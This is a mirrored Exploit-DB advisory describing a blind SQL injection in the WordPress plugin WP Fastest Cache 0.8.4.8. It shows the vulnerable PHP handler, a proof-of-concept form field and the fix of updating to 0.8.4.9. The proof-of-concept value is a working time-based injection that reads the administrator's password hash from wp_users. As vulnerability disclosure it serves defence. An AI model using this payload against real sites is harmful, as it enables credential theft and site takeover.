WordPress Plugin WP Fastest Cache 0.8.4.8 – Blind SQL Injection - 体验盒子

作者： Kacper Szurek

日期： 2015-11-11

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/38678/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

# Exploit Title: WP Fastest Cache 0.8.4.8 Blind SQL Injection

# Date: 11-11-2015

# Software Link: https://wordpress.org/plugins/wp-fastest-cache/

# Exploit Author: Kacper Szurek

# Contact: http://twitter.com/KacperSzurek

# Website: http://security.szurek.pl/

# Category: webapps

1. Description

For this vulnerabilities also WP-Polls needs to be installed.

Everyone can access wpfc_wppolls_ajax_request().

$_POST["poll_id"] is not escaped properly.

File: wp-fastest-cache\inc\wp-polls.php

public function wpfc_wppolls_ajax_request() {

$id = strip_tags($_POST["poll_id"]);

$id = mysql_real_escape_string($id);

$result = check_voted($id);

if($result){

echo "true";

}else{

echo "false";

}

die();

}

http://security.szurek.pl/wp-fastest-cache-0848-blind-sql-injection.html

2. Proof of Concept

<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM <code>wp_users</code> WHERE ID = 1) -- ">

</form>

3. Solution:

Update to version 0.8.4.9